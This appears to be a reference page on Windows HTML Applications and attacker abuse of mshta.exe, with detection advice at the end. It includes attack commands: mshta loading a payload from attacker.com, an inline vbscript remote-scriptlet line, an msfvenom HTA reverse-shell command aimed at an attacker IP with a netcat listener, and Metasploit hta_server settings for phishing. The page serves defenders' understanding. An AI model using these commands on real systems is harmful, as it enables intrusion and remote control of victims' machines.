HTML Applications (HTA)
HTML Applications (HTAs) are full-fledged Windows applications built from HTML, JavaScript, and VBScript. Unlike web pages rendered in a browser, HTAs execute outside the Internet Explorer security model — they run as trusted code with read/write access to the local file system and registry, equivalent to a native .exe.
HTAs are executed by mshta.exe, a signed Windows binary. Because mshta.exe is a legitimate Microsoft-signed executable, it can bypass application control solutions that don’t explicitly account for it. This makes HTAs a reliable vehicle for proxy execution of arbitrary script code.
What is an HTA?
An HTA is an HTML file with an .hta extension. It uses the same rendering engine and object model as Internet Explorer but without the browser’s strict security zone restrictions. Key characteristics:
- Runs outside the browser security context
- Has full access to
WScript.Shell,FileSystemObject, and other ActiveX objects - Can be deployed via web (Content-Type:
application/hta), package installer, or hybrid models - Supports an extended
HTA:APPLICATIONelement for window properties (border, icon, taskbar visibility, etc.)
A simple example that launches a command prompt:
<html>
<body>
<script>
var command = 'cmd.exe'
new ActiveXObject('WScript.Shell').Run(command);
</script>
</body>
</html>Security implications
Microsoft’s own documentation warns: “HTAs can potentially expose the client machine to malicious script. HTAs, like .exe files have read/write access to the files and system registry on the client machine. Powerful executables can be produced and delivered quickly with a few short script statements.”
Adversaries abuse mshta.exe in several ways (MITRE ATT&CK T1218.005):
- File-based execution:
mshta.exe C:\path\to\payload.hta - URL-based execution:
mshta.exe https://attacker.com/payload.hta - Inline script execution:
mshta.exe vbscript:Close(Execute("GetObject(""script:https://webserver/payload.sct"")")) - Embedding in legitimate files: Appending HTA content to benign binaries (e.g.,
dialer.exe);mshta.exescans the file until it finds valid script content
Red Canary has observed mshta.exe spawning powershell.exe as a child process in the majority of malicious HTA incidents. The parent process is often explorer.exe when a user double-clicks an .hta file.
Exploitation with Metasploit
msfvenom can generate HTA payloads directly:
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
-f hta-psh -o ${NAME}.htaCatch the reverse shell with nc -lvp $ATTACKER_PORT.
For a full HTA server operation, use the Metasploit module exploit/windows/misc/hta_server. Critical variables:
LHOST— callback IPLPORT— callback portSRVHOST— IP to serve the malicious file onpayload— Metasploit payload (e.g.,windows/meterpreter/reverse_tcp)
In quick operations LHOST and SRVHOST are the same; in sophisticated phishing/C2 separation they differ.
Detection and mitigation
- Block
mshta.exevia Windows Defender Application Control (WDAC) if not required - Alert on
mshta.exeexecuting remote URLs, inline scripts, or files without.htaextension - Monitor for
mshta.exespawning child processes (especiallypowershell.exe,cmd.exe) - Command-line logging captures
vbscript:,javascript:, andabout:protocol handlers
Sources
- HTML Applications | Microsoft Learn
- Introduction to HTML Applications (HTAs) | Microsoft Learn
- System Binary Proxy Execution: Mshta (T1218.005) | MITRE ATT&CK
- Mshta | Red Canary Threat Detection Report